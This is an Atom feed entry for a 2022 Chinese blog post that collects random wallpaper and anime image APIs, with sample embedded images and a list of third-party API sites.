    <id>https://blog.anineg.space/2022/03/20/backgroundAPI/</id>
    <published>2022-03-20T03:18:17.000Z</published>
    <updated>2022-11-21T09:15:29.944Z</updated>
    
    <content type="html"><![CDATA[<h1 id="废话不多说，上图！（每次刷新都不一样哦-）"><a href="#废话不多说，上图！（每次刷新都不一样哦-）" class="headerlink" title="废话不多说，上图！（每次刷新都不一样哦~）"></a>废话不多说，上图！（每次刷新都不一样哦~）</h1><p>（API链接在后面）</p><p><img src="https://api.mtyqx.cn/api/random.php" alt=""></p><p><img src="https://api.mtyqx.cn/tapi/random.php" alt=""></p><p><img src="https://api.ixiaowai.cn/api/api.php" alt=""></p><p><img src="https://api.ixiaowai.cn/mcapi/mcapi.php" alt=""></p><p><img src="https://acg.toubiec.cn/random.php" alt=""></p><p><img src="https://www.dmoe.cc/random.php" alt=""></p><p><img src="https://api.paugram.com/wallpaper/?source=sina&amp;category=us" alt=""></p><h1 id="API接口链接"><a href="#API接口链接" class="headerlink" title="API接口链接"></a>API接口链接</h1><h2 id="必应壁纸"><a href="#必应壁纸" class="headerlink" title="必应壁纸"></a>必应壁纸</h2><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">https://api.dujin.org/bing/1366.php (1366*768)</span><br><span class="line">https://api.dujin.org/bing/1920.php (1920*1080)</span><br><span class="line">https://api.dujin.org/bing/m.php    (1080*1920)</span><br><span class="line">//api.timecdn.cn/libs/wallpaper/v1  (1920*1080)</span><br></pre></td></tr></tbody></table></figure><p><img src="http://api.timecdn.cn/libs/wallpaper/v1" alt=""></p><center>今日必应壁纸</center><h2 id="野生动漫-API"><a href="#野生动漫-API" class="headerlink" title="野生动漫 API"></a>野生动漫 API</h2><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">https://api.mtyqx.cn/api/random.php</span><br><span class="line">https://api.mtyqx.cn/tapi/random.php</span><br></pre></td></tr></tbody></table></figure><h2 id="系列-API（需自己按照网站说明调用-API-参数）"><a href="#系列-API（需自己按照网站说明调用-API-参数）" class="headerlink" title="系列 API（需自己按照网站说明调用 API 参数）"></a>系列 API（需自己按照网站说明调用 API 参数）</h2><blockquote><p>小歪 API</p><p><a href="https://api.ixiaowai.cn/">https://api.ixiaowai.cn</a></p><p>未知名称动漫 API</p><p><a href="https://acg.toubiec.cn/">https://acg.toubiec.cn</a></p><p>樱花 API</p><p><a href="http://www.dmoe.cc/">http://www.dmoe.cc/</a></p><p>岁月小筑随机背景 API</p><p><a href="https://img.xjh.me/">https://img.xjh.me</a></p><p>保罗 API</p><p><a href="https://api.paugram.com/help/wallpaper/">https://api.paugram.com/help/wallpaper/</a></p><p>樱道随机图片</p><p><a href="https://img.r10086.com/">https://img.r10086.com/</a></p><p>墨天逸</p><p><a href="http://api.mtyqx.cn/">http://api.mtyqx.cn</a></p><p>Unsplash</p><p><a href="https://source.unsplash.com/">https://source.unsplash.com/</a></p><p>后宫漫图：</p><p><a href="https://acg.sx/images">https://acg.sx/images</a></p><p>EEEDOG</p><p><a href="https://www.eee.dog/tech/rand-pic-api.html">https://www.eee.dog/tech/rand-pic-api.html</a></p><p>东方 Project</p><p><a href="https://img.paulzzh.tech/">https://img.paulzzh.tech/</a></p><p>搏天 API</p><p><a href="https://api.btstu.cn/doc/sjbz.php">https://api.btstu.cn/doc/sjbz.php</a></p><p>汐岑 ACG</p><p><a href="https://acg.yanwz.cn/">https://acg.yanwz.cn</a></p><p>凌一 API</p><p><a href="https://api.lyiqk.cn/">https://api.lyiqk.cn</a></p><p>Lorem Picsum</p><p><a href="https://picsum.photos/">https://picsum.photos/</a></p><p>API 接口文档 - 夏沫博客</p><p><a href="https://cdn.seovx.com/">https://cdn.seovx.com/</a></p><p>Ushio API</p><p><a href="https://www.eee.dog/tech/rand-pic-api.html">https://www.eee.dog/tech/rand-pic-api.html</a></p><p>点滴 API</p><p><a href="https://api.ddkjt.com/">https://api.ddkjt.com/</a></p><p>Langford’s API</p><p><a href="https://api.ucany.net/">https://api.ucany.net/</a></p><p>一铭 API</p><p><a href="https://api.wer.plus/product/doc?id=2">https://api.wer.plus/product/doc?id=2</a></p><p><a href="https://api.wer.plus/product/doc?id=3">https://api.wer.plus/product/doc?id=3</a></p><p>R0A1NG’s API<br><a href="https://api.roaing.com/#/doc/dongmanimg">https://api.roaing.com/#/doc/dongmanimg</a></p><p>JacksonXE の API<br><a href="https://api.jacksonxe.cn/api/file/random?sole=">https://api.jacksonxe.cn/api/file/random?sole=</a></p></blockquote><div class="tag link"><a class="link-card" title="随机壁纸API整理" href="https://quest.myxxts.club/archives/54/"><div class="left"><img src="https://sdn.geekzu.org/avatar/b78149ae3a65c308a991d61840da7225?s=&amp;r=&amp;d="></div><div class="right"><p class="text">随机壁纸API整理</p><p class="url">https://quest.myxxts.club/archives/54/</p></div></a></div>]]></content>
    
    
    <summary type="html">整理了一些可以用的随机壁纸API接口</summary>
    
    
    
    <category term="博客" scheme="https://blog.anineg.space/categories/%E5%8D%9A%E5%AE%A2/"/>
    
    
  </entry>
  
</feed>
